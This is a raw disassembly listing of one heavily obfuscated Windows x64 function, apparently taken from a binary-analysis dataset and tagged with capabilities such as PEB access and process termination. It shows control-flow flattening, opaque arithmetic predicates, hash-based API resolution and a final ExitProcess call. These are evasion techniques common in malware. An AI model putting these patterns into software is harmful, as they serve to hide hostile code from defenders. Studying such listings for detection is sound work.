Function at 0x14001b570
Capabilities:
Access peb ldr_data
Terminate process

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x98
test dl, dl
mov edx, 0x651b2712
mov eax, 0x6021e0b
cmove edx, eax
mov dword [rsp + 0x7c], edx
mov qword [rsp + 0x80], r8
test r8, r8
mov edx, 0x8e69a7cf
mov ebp, 0xc8e474c2
cmove ebp, edx
mov dword [rsp + 0x78], ebp
test cl, cl
mov ecx, 0xc3787f85
cmove ecx, eax
mov dword [rsp + 0x74], ecx
mov ebp, 0xc5c76c73
cmove ebp, edx
mov r14d, 0xa5814a9
mov eax, 0xfdab9f7
cmove r14d, eax
mov eax, 0x100d1920
lea r15, [0x14001aacc]
mov r12d, 0xe182c22c
mov qword [rsp + 0x58], rcx
mov ecx, eax
cmp eax, 0x6021e0a
jle 0x14001aba8
cmp ecx, 0x42c0eee0
jle 0x14001ac12
cmp ecx, 0x5aed15d7
jg 0x14001acc6
cmp ecx, 0x56614b8d
jle 0x14001ade3
cmp ecx, 0x593d8a00
jle 0x14001afcc
cmp ecx, 0x593d8a01
je 0x14001afee
mov eax, ecx
cmp ecx, 0x5ac9657a
jne 0x14001ab4a
mov rcx, qword [rsp + 0x48]
call fcn.1400105fe
jmp 0x14001b368
cmp ecx, 0xbe3d6d0a
jg 0x14001ac6b
cmp ecx, 0xa807356e
jg 0x14001ad55
cmp ecx, 0x9ccdb03e
jg 0x14001aef5
cmp ecx, 0x800b94d3
je 0x14001b00a
cmp ecx, 0x8e69a7cf
je 0x14001b016
mov eax, ecx
cmp ecx, 0x9260803b
jne 0x14001ab4a
mov dword [rsp + 0x40], r13d
mov eax, dword [rsp + 0x40]
cmp eax, 0x1520f
mov eax, 0x9ccdb03f
mov ecx, 0x6d088d07
cmovl eax, ecx
jmp 0x14001ab4a
cmp ecx, 0x18cfca82
jg 0x14001ad0a
cmp ecx, 0xfdab9f6
jg 0x14001ae21
cmp ecx, 0x6021e0b
je 0x14001b021
mov eax, ebp
cmp ecx, 0xa5814a9
je 0x14001ab4a
mov eax, ecx
cmp ecx, 0xc54a7b0
jne 0x14001ab4a
mov eax, dword [rsp + 0x3c]
cmp eax, 2
mov eax, 0xf9165031
mov ecx, 0x5aed15d8
cmovb eax, ecx
jmp 0x14001ab4a
cmp ecx, 0xdd1b8c0e
jg 0x14001ad96
cmp ecx, 0xc8e474c1
jg 0x14001af34
cmp ecx, 0xbe3d6d0b
je 0x14001b0b5
cmp ecx, 0xc3787f85
je 0x14001b138
mov eax, ecx
cmp ecx, 0xc5c76c73
jne 0x14001ab4a
mov rax, qword [rsp + 0x80]
cmp byte [rax], 0
mov eax, 0xfdab9f7
mov ecx, 0x8e69a7cf
cmove eax, ecx
jmp 0x14001ab4a
cmp ecx, 0x77542455
jg 0x14001ae79
cmp ecx, 0x5aed15d8
je 0x14001b143
cmp ecx, 0x651b2712
je 0x14001b155
mov eax, ecx
cmp ecx, 0x6d088d07
jne 0x14001ab4a
mov eax, 0x77542456
mov dword [rsp + 0x50], 0
jmp 0x14001ab4a
cmp ecx, 0x3297cd71
jg 0x14001aeb8
cmp ecx, 0x18cfca83
je 0x14001b23e
cmp ecx, 0x1ce0933f
je 0x14001b250
mov eax, ecx
cmp ecx, 0x2942ac13
jne 0x14001ab4a
mov eax, dword [rsp + 0x30]
cmp eax, 2
mov eax, 0x77bb968c
mov ecx, 0x56614b8e
cmove eax, ecx
jmp 0x14001ab4a
cmp ecx, 0xb79a8e49
jg 0x14001af71
cmp ecx, 0xa807356f
je 0x14001b26e
cmp ecx, 0xa9345cb8
je 0x14001b2cc
mov eax, ecx
cmp ecx, 0xb423576f
jne 0x14001ab4a
mov rcx, qword [rsp + 0x48]
call fcn.140014127
jmp 0x14001b368
cmp ecx, 0xeb6a9f01
jg 0x14001af9c
cmp ecx, 0xdd1b8c0f
je 0x14001b2e5
cmp ecx, 0xe182c22c
je 0x14001b4ed
mov eax, ecx
cmp ecx, 0xe28fd644
jne 0x14001ab4a
mov rcx, qword [rsp + 0x68]
call fcn.14001519e
mov eax, 0x6021e0b
mov rcx, qword [rsp + 0x58]
mov esi, ecx
jmp 0x14001ab4a
cmp ecx, 0x42c0eee1
je 0x14001b2fe
cmp ecx, 0x42fec77b
je 0x14001b349
mov eax, ecx
cmp ecx, 0x54386ae0
jne 0x14001ab4a
mov rax, qword [rsp + 0x88]
mov eax, dword [rax]
mov dword [rsp + 0x30], eax
mov eax, 0xb864f54b
jmp 0x14001ab4a
cmp ecx, 0xfdab9f7
je 0x14001b372
mov eax, r14d
cmp ecx, 0x100d1920
je 0x14001ab4a
mov eax, ecx
cmp ecx, 0x12ee3d2b
jne 0x14001ab4a
mov eax, dword [rsp + 0x2c]
mov ecx, dword [rsp + 0x34]
shl ecx, 4
sub eax, ecx
add dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x38]
lea ecx, [rcx + rcx*2]
add eax, ecx
add eax, 0xffffffb3
mov dword [rsp + 0x2c], eax
mov eax, 0x42c0eee1
jmp 0x14001ab4a
cmp ecx, 0x77542456
je 0x14001b380
cmp ecx, 0x77bb968c
je 0x14001b368
mov eax, ecx
cmp ecx, 0x78c01925
jne 0x14001ab4a
mov eax, dword [rsp + 0x30]
cmp eax, 8
mov eax, 0xdd1b8c0f
mov ecx, 0x2942ac13
cmovl eax, ecx
jmp 0x14001ab4a
cmp ecx, 0x3297cd72
je 0x14001b3a3
cmp ecx, 0x35586008
je 0x14001b3cc
mov eax, ecx
cmp ecx, 0x3b36a439
jne 0x14001ab4a
cmp dword [rsp + 0x30], 0
mov eax, 0x1ce0933f
mov ecx, 0xd4dcbccb
cmovle eax, ecx
jmp 0x14001ab4a
cmp ecx, 0x9ccdb03f
je 0x14001b3e5
cmp ecx, 0xa2cf6310
je 0x14001b408
mov eax, ecx
cmp ecx, 0xa412fce3
jne 0x14001ab4a
mov eax, dword [rsp + 0x30]
cmp eax, 0x40
mov eax, 0x77bb968c
mov ecx, 0x42fec77b
cmove eax, ecx
jmp 0x14001ab4a
cmp ecx, 0xc8e474c2
je 0x14001b421
cmp ecx, 0xd258ec34
je 0x14001b436
mov eax, ecx
cmp ecx, 0xd4dcbccb
jne 0x14001ab4a
cmp dword [rsp + 0x30], 0
mov eax, 0x77bb968c
mov ecx, 0xb423576f
cmove eax, ecx
jmp 0x14001ab4a
cmp ecx, 0xb79a8e4a
je 0x14001b449
cmp ecx, 0xb864f54b
je 0x14001b4ab
mov eax, ecx
cmp ecx, 0xba7644df
je 0x14001b518
jmp 0x14001ab4a
cmp ecx, 0xeb6a9f02
je 0x14001b4c4
cmp ecx, 0xf107c477
je 0x14001b4f9
mov eax, ecx
cmp ecx, 0xf9165031
jne 0x14001ab4a
mov eax, 0x18cfca83
jmp 0x14001ab4a
cmp ecx, 0x56614b8e
jne 0x14001b4dd
mov rcx, qword [rsp + 0x48]
call fcn.140010ba0
test al, al
mov eax, 0xb423576f
jmp 0x14001b261
xor r13d, r13d
mov dword [rsp + 0x38], r13d
mov dword [rsp + 0x2c], r13d
mov dword [rsp + 0x34], r13d
mov eax, 0x9260803b
jmp 0x14001ab4a
mov eax, dword [rsp + 0x3c]
cmp eax, 8
jmp 0x14001b40f
xor esi, esi
mov eax, dword [rsp + 0x74]
jmp 0x14001ab4a
mov eax, esi
mov r11b, 0xff
xor al, r11b
mov cl, 0x87
and al, cl
mov ebx, esi
mov dl, 0x78
and bl, dl
or bl, al
mov r8d, ebx
xor r8b, dl
xor bl, cl
mov edx, esi
xor dl, 0xfe
and dl, sil
mov ecx, ebx
or cl, 1
mov eax, edx
xor al, r11b
mov r9d, ecx
mov dil, 0x89
and r9b, dil
mov r10d, r8d
mov r12b, 0x76
and r10b, r12b
or r10b, r9b
or cl, al
and al, dil
and dl, r12b
mov r12d, 0xe182c22c
or dl, al
xor dl, r10b
xor cl, r11b
or cl, dl
mov eax, ecx
xor al, r11b
mov edx, eax
mov r9b, 0x3f
and dl, r9b
mov r10b, 0xc0
and cl, r10b
or cl, dl
and bl, r9b
and r8b, r10b
or r8b, bl
xor r8b, cl
xor al, r8b
test al, r8b
mov eax, 0xba7644df
mov ecx, 0x593d8a01
cmove eax, ecx
jmp 0x14001ab4a
mov eax, dword [rsp + 0x2c]
mov ecx, dword [rsp + 0x34]
add ecx, 0xfffffffc
mov edx, dword [rsp + 0x40]
imul edx, dword [rsp + 0x44]
imul ecx, eax
sub ecx, edx
mov dword [rsp + 0x38], ecx
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x2c]
imul ecx, dword [rsp + 0x34]
add ecx, eax
mov eax, dword [rsp + 0x40]
lea eax, [rcx + rax*2]
sub eax, dword [rsp + 0x44]
add eax, 0xfffffc19
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x2c]
mov ecx, dword [rsp + 0x38]
imul ecx, dword [rsp + 0x40]
lea eax, [rax + rcx*8]
mov ecx, dword [rsp + 0x34]
mov edx, dword [rsp + 0x38]
add edx, dword [rsp + 0x2c]
imul edx, ecx
mov ecx, dword [rsp + 0x44]
lea ecx, [rcx + rcx*2]
add ecx, eax
sub ecx, edx
mov dword [rsp + 0x34], ecx
mov eax, dword [rsp + 0x44]
add eax, 5
mov dword [rsp + 0x50], eax
mov eax, 0x77542456
jmp 0x14001ab4a
xor esi, esi
mov eax, dword [rsp + 0x7c]
jmp 0x14001ab4a
mov eax, 0xb79a8e4a
mov dword [rsp + 0x54], 0x7530
jmp 0x14001ab4a
mov ecx, 0x30
call fcn.140015329
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x60], rax
xor ecx, ecx
mov edx, 1
mov r8d, 0x18d1ea71
mov r9d, 0x2b
call fcn.14001939f
xor ecx, ecx
call rax
mov rax, qword gs:[0x60]
mov rdi, qword [rax + 0x10]
mov rbx, qword [rsp + 0x60]
xor ecx, ecx
mov edx, 1
mov r8d, 0x27c2b783
mov r9d, 0xd
call fcn.14001939f
mov r8d, 0x30
mov rcx, rdi
mov rdx, rbx
call rax
mov rax, qword [rsp + 0x60]
movabs rdx, 0x5ca990c39f095db
mov rcx, rdx
sub rcx, r15
movabs rbx, 0xc3e3f281b9555c40
sub rcx, rbx
sub rcx, rdx
add rcx, rbx
mov rax, qword [rax + 0x18]
movabs rdx, 0xade3a182fa8710a6
add rax, rdx
movabs rbx, 0xd8702584308acb4d
add rax, rbx
sub rax, rdx
movabs rdx, 0x5acc385123302e39
sub rax, rdx
sub rax, rcx
sub rax, rbx
add rax, rdx
mov qword [rsp + 0x90], rax
cmp rdi, r15
mov eax, 0xf107c477
mov ecx, 0xa807356f
cmova eax, ecx
jmp 0x14001ab4a
mov eax, 0xb79a8e4a
mov dword [rsp + 0x54], 0x3e8
jmp 0x14001ab4a
mov rcx, qword [rsp + 0x48]
call fcn.14001061e
test al, al
mov eax, 0x56614b8e
mov ecx, 0x5714be62
cmovne eax, ecx
jmp 0x14001ab4a
mov rcx, qword [rsp + 0x68]
xor eax, eax
mov qword [rsp + 0x58], rax
mov r8d, 0x30
xor edx, edx
call fcn.140014cac
mov rdi, qword [rsp + 0x60]
xor ecx, ecx
mov edx, 1
mov r8d, 0x27c2b783
mov r9d, 0xd
call fcn.14001939f
mov r8d, 0x30
mov rcx, r15
mov rdx, rdi
call rax
mov rax, qword [rsp + 0x60]
cmp dword [rax + 0x28], 0x1000000
mov eax, 0xe28fd644
cmove eax, r12d
jmp 0x14001ab4a
mov eax, dword [rsp + 0x30]
cmp eax, 8
mov eax, 0x77bb968c
mov ecx, 0x5ac9657a
cmove eax, ecx
jmp 0x14001ab4a
mov eax, dword [rsp + 0x30]
cmp eax, 0x40
mov eax, 0xa412fce3
mov ecx, 0xa9345cb8
cmovl eax, ecx
jmp 0x14001ab4a
mov ecx, 0xc40
call fcn.140015329
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
mov edx, 0x10
call fcn.14000fe0d
mov rax, qword [rsp + 0x48]
mov ecx, 0x3c4
add rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax]
mov dword [rsp + 0x3c], eax
mov eax, 0xeb6a9f02
jmp 0x14001ab4a
xor ecx, ecx
mov edx, 1
mov r8d, 0x510b3a3e
mov r9d, 0x5c
call fcn.14001939f
mov ecx, 0x24
call rax
mov eax, 0x5714be62
jmp 0x14001ab4a
call fcn.140019575
mov eax, dword [rsp + 0x78]
jmp 0x14001ab4a
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
cmp eax, 0x2b4
mov eax, 0xd258ec34
mov ecx, 0xbe3d6d0b
cmovl eax, ecx
jmp 0x14001ab4a
xor ecx, ecx
mov edx, 1
mov r8d, 0x510b3a3e
mov r9d, 0x5c
call fcn.14001939f
mov ecx, 2
call rax
mov eax, 0x54386ae0
jmp 0x14001ab4a
mov eax, dword [rsp + 0x3c]
cmp eax, 8
mov eax, 0x800b94d3
mov ecx, 0xa2cf6310
cmovl eax, ecx
jmp 0x14001ab4a
mov eax, dword [rsp + 0x38]
add eax, dword [rsp + 0x2c]
add eax, dword [rsp + 0x34]
cmp eax, 0xf302e
mov eax, 0x42c0eee1
mov ecx, 0x12ee3d2b
cmove eax, ecx
jmp 0x14001ab4a
mov eax, dword [rsp + 0x3c]
cmp eax, 4
mov eax, 0xf9165031
mov ecx, 0x5aed15d8
cmove eax, ecx
jmp 0x14001ab4a
mov rax, qword [rsp + 0x80]
mov byte [rax], 0
mov eax, 0x8e69a7cf
jmp 0x14001ab4a
mov r13d, dword [rsp + 0x40]
add r13d, 3
mov eax, 0x9260803b
jmp 0x14001ab4a
xor ecx, ecx
mov edx, 1
mov r8d, 0x9d3c7b7a
mov r9d, 0xb2
call fcn.14001939f
mov ecx, dword [rsp + 0x54]
xor edx, edx
call rax
mov rcx, qword [rsp + 0x48]
mov edx, 0x20
call fcn.14000fe0d
mov rdx, qword [rsp + 0x48]
mov eax, 0xc38
add rdx, rax
mov rcx, qword [rsp + 0x48]
mov eax, 0xc10
add rcx, rax
call fcn.1400045fa
test al, al
mov eax, 0x54386ae0
mov ecx, 0x3297cd72
cmovne eax, ecx
jmp 0x14001ab4a
mov eax, dword [rsp + 0x30]
cmp eax, 2
mov eax, 0x78c01925
mov ecx, 0x3b36a439
cmovl eax, ecx
jmp 0x14001ab4a
mov eax, dword [rsp + 0x3c]
cmp eax, 4
mov eax, 0x35586008
mov ecx, 0xc54a7b0
cmovl eax, ecx
jmp 0x14001ab4a
mov eax, ecx
cmp ecx, 0x5714be62
jne 0x14001ab4a
jmp 0x14001b52c
mov eax, 0xe28fd644
mov cl, 1
jmp 0x14001ab45
mov rax, qword [rsp + 0x90]
cmp rax, r15
mov eax, 0xe28fd644
mov ecx, 0xa807356f
cmovb eax, ecx
xor ecx, ecx
jmp 0x14001ab45
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x48]
call fcn.140004570
xor ecx, ecx
call fcn.14001b546
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
xor edx, edx
xor r8d, r8d
jmp 0x14001aacc